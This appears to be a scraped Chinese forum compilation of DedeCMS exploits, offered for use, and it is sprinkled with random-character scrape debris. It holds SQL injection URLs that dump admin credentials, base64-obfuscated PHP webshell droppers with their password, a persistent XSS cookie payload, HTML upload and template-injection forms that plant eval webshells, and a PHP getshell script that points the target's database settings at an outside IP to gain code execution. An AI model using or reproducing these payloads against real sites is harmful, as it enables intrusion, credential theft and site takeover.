dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
/ ~/ l) L# \7 M7 ohttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1



# c2 M2 ?) D1 A! H7 H3 g2 Y

% r8 ?/ H' J" i3 a; J

& j& [9 Y0 f8 b5 q) J4 F3 T1 M+ M- w
0 c2 ?. w1 v% TDedeCms v5.6 嵌入恶意代码执行漏洞
5 O8 C) y6 J7 a2 S" x  r: j3 x注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

" ?& \4 C# f6 s2 e% s
# y3 T# O" C0 I: A( A

% u* z! ^0 t5 ?1 c1 y, k" X( }
: D7 ?8 P1 ]& i/ E% `! O& g
: G% r9 d4 L/ f8 f
+ Q8 `+ W# {6 e# n( X7 K: P$ e0 Y
0 d2 ]5 P4 L. B, C- cDede 5.6 GBK SQL注入漏洞
% ], ~1 v+ U& y* ?  V! d% |6 T5 D8 Y7 Mhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
% H6 y# w: n! t- H( Ahttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7


( v5 }; p) l- j  c
& n  ~2 G: A+ w# _# o1 Z# ^" Y
4 ?& b2 I' Y5 ?" i



DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
0 Z+ F; h6 z4 j" e  c2 D6 Nhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`



& h% c6 y% }- U2 y5 p. m
' D4 S3 w- M( W. {: ~

DEDECMS 全版本 gotopage变量XSS漏洞
5 d$ a6 @6 Q7 X! x  L# [, F' h* q1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
" l1 N0 R! F% T+ d7 M

2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
3 i6 Q7 O, a7 H4 Q7 z) n$ Shttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
4 S; R8 G$ A2 l9 L! b; J
/ C1 z% m, P1 q, F4 I( _2 g7 ~
7 r9 S( D& v( x3 l, _: Z) Dhttp://v57.demo.dedecms.com/dede/login.php


( `) ^, v. g1 `, kcolor=Red]DeDeCMS(织梦)变量覆盖getshell
0 t+ f: k, R: q#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
0 O9 M# A( g3 \" yset_time_limit(0);
  F' M. u" C: Pprint_r('
2 g% f! a" e: F3 W; \0 d5 xDEDEcms Variable Coverage
' `! g3 @8 ~2 T5 Y" vExploit Author: www.heixiaozi.comwww.webvul.com
);
0 T2 F5 g7 M3 B" X0 \echo "\r\n";
9 V5 ?+ |" u# Q2 M8 m' p8 Yif($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
% U" W3 B9 i- u$ }# x- m');
exit;
}
$ `( F7 B8 h3 z4 U/ F$url=$argv[1];
$aid=$argv[2];
! @1 r) B( e3 j- ^, Z$path=$argv[3];
$exp=Getshell($url,$aid,$path);
4 F* f1 V% n% |) _! @# fif (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
2 t7 r! s  {) @! ^0 Y+ m+ tif($aid==1)echo "
* ^# J9 l% E( H* w" [6 a2 I; CShell:".$url."/$path/data/cache/fuck.php\n" ;
4 i) Y$ h  `& K- F3 i) X6 A

if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
. Y; `! d5 B# o( {* m" O+ K

) D- e& b! p4 g& m7 \0 s& f; L$ iif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
2 Y/ ]6 g. Z  D% p6 @: b

" q; k$ u& f  R% }' H: ~" _}else{
echo "
! o: x( t5 N  t5 p; C7 BExploit Failed \n";
& q! c6 `4 r4 C( F/ S  {6 J- t}
function Getshell($url,$aid,$path){
$id=$aid;
- f- V) g& O1 R- n9 ^: t$ w4 X$host=$url;
$port="80";
! E/ M6 T( n0 K" B$ {; ~$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
1 c6 r9 w0 ]9 p% h1 y/ f; h$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 m+ G4 z/ K' A( Q+ A$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$ e2 t% m4 F/ q$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
) u: W  x* O# Z8 d' G5 a' W$ock=fsockopen($host,$port);
/ t# o0 e/ T* M: v7 jif (!$ock) {
9 E" [7 m8 t- \. u+ {: `echo "
No response from ".$host."\n";
}
7 o# |2 ?' w8 O" ^0 }fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
}
: K' z' I9 D: z! `! B) |% E; y}

% J5 a2 D* E+ n
( O$ ^& g# D  ]. `?>


1 S4 B1 q8 H0 F. Z$ p. W
- ]/ p$ t$ T: ^* J7 D) o; v- J



) x! L$ Y- [9 z8 B: f7 q

6 Y: w% N* Z0 Q+ x
5 ^, F  x$ t* [% f) gDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


把上面validate=dcug改为当前的验证码，即可直接进入网站后台
: F; z: m! |! B) A' V

此漏洞的前提是必须得到后台路径才能实现


' Y* O7 }) R. s( ?9 ]) J

7 K* g" ~1 s8 b/ j3 \$ I4 I( J7 u





% ]$ R3 I# H- i, SDedecms织梦 标签远程文件写入漏洞
- q! m- H' g9 w* ?4 u" {前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
. e/ t1 i: |4 G9 X2 Y

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
! z, E2 ?( Q/ L# N<form action="" method="post" name="QuickSearch" id="QuickSearch">
5 @& [& W& E& i# S, T9 ]<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
2 {& a9 X0 _, E7 V( \<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
6 J5 [; C3 s, l& F$ s! @& v<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
# ^; i# v4 H& ^+ h<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
) Y1 m- X4 L! t( P+ V<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
7 v1 k8 b/ X# h) L1 _: W9 [</form>
5 e& N7 ~4 I$ j2 n& H6 y. s, l1 Q<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
8 h6 }7 F4 N, r! t* F</script>
" r; H) N- q- _7 k5 W


3 r3 _$ m  M1 R0 l
: Y$ J/ o( ^% D1 J$ O$ [5 Y


2 L  N- n9 ]% w/ x( q

- `1 t1 c; [1 A8 z9 ~: @' l
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
& Q2 l3 X  v( k( }7 P, Ca{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
3 q/ M) b4 `1 G2 G+ d3 b, d* B生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
# Y* }0 Q' D8 @9 X) j, i注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
. I* u4 _$ g$ {3 Y, `8 q5 x  F, E0 Y7 Ouploads/userup/2/12OMX04-15A.jpg


0 J7 }: h" y/ [. J8 ?模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
6 X$ O$ y$ j3 I@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
! g# d7 P8 J. S- l, i& [<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
# ?# a; H0 O( N+ l& K8 X- K) P<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
+ k( g7 ?: b! ?<input type="hidden" name="sortrank" value="1275972263" />
+ ~& x$ |6 Q/ x0 a# Y; J  l
" J4 A" n, B$ y5 _
9 k, {( r$ ~/ W<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
+ x" L" ], B0 l. M# P

4 x; M  ^' [# ~  ^3 P6 j7 v: I0 M<div class="postForm">
<label>标题：</label>
3 s+ s- L- U- }+ L<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
, |. M" p7 o- T3 E$ D

2 V  S! Y2 }1 ?5 |6 j0 Z8 p<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

8 {9 I' U$ T, }
* c. h; \! \$ w; h<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
2 {. R( Q) s7 E1 g0 D5 S8 \" W: X</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)

: q5 c, x. O7 C0 S6 w# `9 M
<label>我的分类：</label>
9 y0 n# O; p5 F0 ^5 s: K$ i<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
$ X& O. P1 ]- r4 R6 O<option value='1' class='option3' selected>hahahha</option>
; C2 D# J* w) d! B9 s3 h% G2 ]</select>

1 J( V/ y- w! Z" J0 {) j5 V
<label>信息摘要：</label>
9 p# E4 A- A: @# u# s( |<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

2 _9 i! Z: F1 V" X
9 q- H1 @7 h8 I<label>缩略图：</label>
1 t) p7 M$ q6 H( b4 T$ _. U<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
: t3 Z# f# l# \4 W* P% a
4 ?' Z  l1 F4 p+ ~# J/ C8 S
1 j2 ]% f2 K3 q: o. G<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
) H7 }. E$ G3 w( r8 Q* Z
' Q& u1 |% q; e3 U
" C2 B( i& f$ V' h, A, Q<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


0 \  k" b0 ]$ g<label>验证码：</label>
3 k: J  a2 T. r, N6 d. b<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
: B' I5 @0 ]; R! I1 @4 i$ ]1 K
  e, l) G6 a/ L! m3 T
% u4 O: s& Q/ o3 k0 [- d' z, t<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>


( s, @9 m& T! V- N</div>
% i. }5 ?. x8 l5 ?1 Y/ A  t

</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
% U9 n; q, h0 [5 Y+ R假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php

" s% E$ ]6 }# w+ W! H2 {7 Q- H
6 j8 A' J& [) i' @8 k' y


- g5 _& S9 ^: G* `: r$ E


( l% d! w, L5 i8 |1 N- Q4 `- @
' G9 D/ @8 s4 K9 S


8 h! l1 @+ G/ g  \DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
/ p5 H# y; ]0 G$ X, f; Qphpinfo();
/ x0 R2 y& r4 M{/dede:field}
7 _* W$ t) z  n8 D4 }保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
: C, T' ?% z  q: k( V( ]8 `3 {<input type="hidden" name="mediatype" value="1" />
2 u6 U: v' {7 O1 q<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
5 I2 @! H( l3 u8 `<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
8 k. J) [5 m7 B# B/ p9 B, j: T</form>

( O  K! Y' Y+ m2 l. e( l% W+ z
9 V+ M1 e( c( c- t/ q构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
7 r% G+ h" b! X发表文章，然后构造修改表单如下：

/ n9 @" _$ j3 R: ^8 D0 |$ w
0 o1 ]8 w( V) |, v0 {& V9 w<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
8 E8 }# Y; d% n) [% P8 D<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
  k) Y+ A+ ?& h" h& z$ C+ B+ p6 h<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
/ d7 m( `* e+ l/ E/ a8 M3 q% l<select name='typeid' size='1'>
& J4 D9 o- e! c' b<option value='1' class='option3' selected=''>Test</option>
3 r( e: Y) D& A/ v0 {<select name='mtypesid' size='1'>
) T6 z; d2 }8 a3 M7 Z5 r. T" ?<option value='0' selected>请选择分类...</option>
6 P- O7 e7 G: W' _<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
8 }6 K) I1 @( \' ^2 h2 m<input type='hidden' name='dede_addonfields' value="templet">
2 E0 K; Q7 ~, F, l4 I1 X( F, q8 Z, F<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>
; p' [; k' g( w  u- J


) P. I& \# l! t$ [: g' S

) |' g+ |9 K1 s# L, P  n
  ?/ f! x6 c9 ]3 D% _/ q


1 f) F- C6 U# F, \2 q3 A


织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
7 T5 g# v- I+ T
. F: s4 O. K6 i( K, `& B6 G* g& z

0 a6 v1 y+ {8 N
5 b# e0 n* \8 p  w7 [" E- q
8 [0 x2 G; S. ~7 V8 i# e# S* ~' E

! ^6 V! C% N" A( h
4 D% [" Z# a' V0 F6 V
/ A0 U; B$ k6 V$ v/ ^4 \+ N, L) x
# x! `3 T; L  H$ F1 G7 Q; f9 a3 q织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../

& q1 u3 x# o" b% [9 r

5 a8 E5 q% s3 c1 E

. H+ a! y  }0 O! z

4 m1 {* |: e1 r) G; d1 O/ x/ _
/ D9 Q9 }' V8 n! X! v8 v

) M; ?( O" J: T7 u& `DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
7 c, z3 f) _. {( c4 M$ ~plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
: }& }; P; Q' F( P" _) c+ a1 o, D密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5








" q* f& Y7 Y1 ]6 L7 ]; u7 J/ L( ]

织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
) k2 F' ~* d7 d' |0 |* [/ |* N* yhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
9 H" o. e/ g2 {6 W1 O' c1 s! [
2 z  e. f$ g3 g. Y+ g4 w! E
( L- t8 G4 w" z8 }, ?1 c

1 O" \2 U" z7 a( ?
( W9 c% o+ ~" o  k
( z7 o' U% }' l* T, Z, v

/ u2 R+ S3 `- W' h& W" ?

) T) j7 f4 U. d* f- J3 {织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
( s- X4 W1 x& P  c<html>
<head>
' i) }+ v# C1 g1 O' L<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
* e3 b, k0 r, d! {<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
  C. }  `2 U- V" m<input type='hidden' name='cfg_basedir' value='../../' />
. ?( i% J  {6 c$ W- k<input type='hidden' name='cfg_imgtype' value='php' />
3 B( ?- d  ?. |- P6 P<input type='hidden' name='cfg_not_allowall' value='txt' />
2 ~$ O1 W' b+ h2 D0 ]<input type='hidden' name='cfg_softtype' value='php' />
: R" }; S  @  ], H% B( ^. N<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
! j9 ^# T& M0 L! Y# V7 x; n<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
! _2 V( `& T4 r+ }0 J/ D9 H<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
9 h9 ]: F8 \( s$ y, dNeed register_globals = on...<br />
& [# E0 J/ ]4 [7 rFun the game,get a webshell at /data/cache/fly.php...<br />
: R8 \0 _- N6 q+ N6 Q</body>
) [6 o$ F9 {1 t" H* v. Q5 x. R</html>
5 Q+ h, `$ f# k1 `) @8 c7 D3 ?9 J* t
/ k, {' G+ s5 O



/ n) }' r# {. {( Y- }. Z* {



1 ~# i( I/ ^" [+ a2 S8 p
" d7 t0 n' q8 [8 n- f织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
% l8 B/ T) N. U1 z, Y) o利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
4 F; a$ R4 D/ Z' f" W6 Z1 q1. 访问网址：
3 ~% ]- m& C8 C; [/ {/ X1 k0 p8 e- nhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
. F) O6 F- m2 H9 L可看见错误信息
& n, Z& o# u2 l$ t- B) K
. w" {4 W! R6 m8 v& w! ~7 a
, W, X- P: i" a& I$ g4 p4 `2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
, `8 [: j; o5 E- F) |$ T3 R& i% I6 j" X: kint(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

% V, m6 {4 y1 ~) ]2 b: a
7 d- ~7 j  \6 j) P! B) @3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

! [7 c2 n2 r; \9 \5 L. r. g7 a
' \* \1 \( y2 ]* @$ N0 t7 P/ F: }4 j<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
) D! B- T. Z, d7 z' M

7 z: y6 |9 d5 r* P  \" Z" G' t按确定后的看到第2步骤的信息表示文件木马上传成功.
( d! s8 m% A* q9 \( `- r
& g+ q9 ^. h2 C+ ~. \1 ^7 y9 r
( L: w- D9 N0 ]4 O
, C: Y3 y2 e) h. e0 Y7 W. R

: h) L: w  @, l& a; K0 R+ d) B, e7 l( r6 H

+ B( D5 s- O6 O) m3 Y
. B1 D5 ^9 `9 D# w

; Z. U& S% n( }* _+ v

  G4 l9 V+ M' ^" @织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*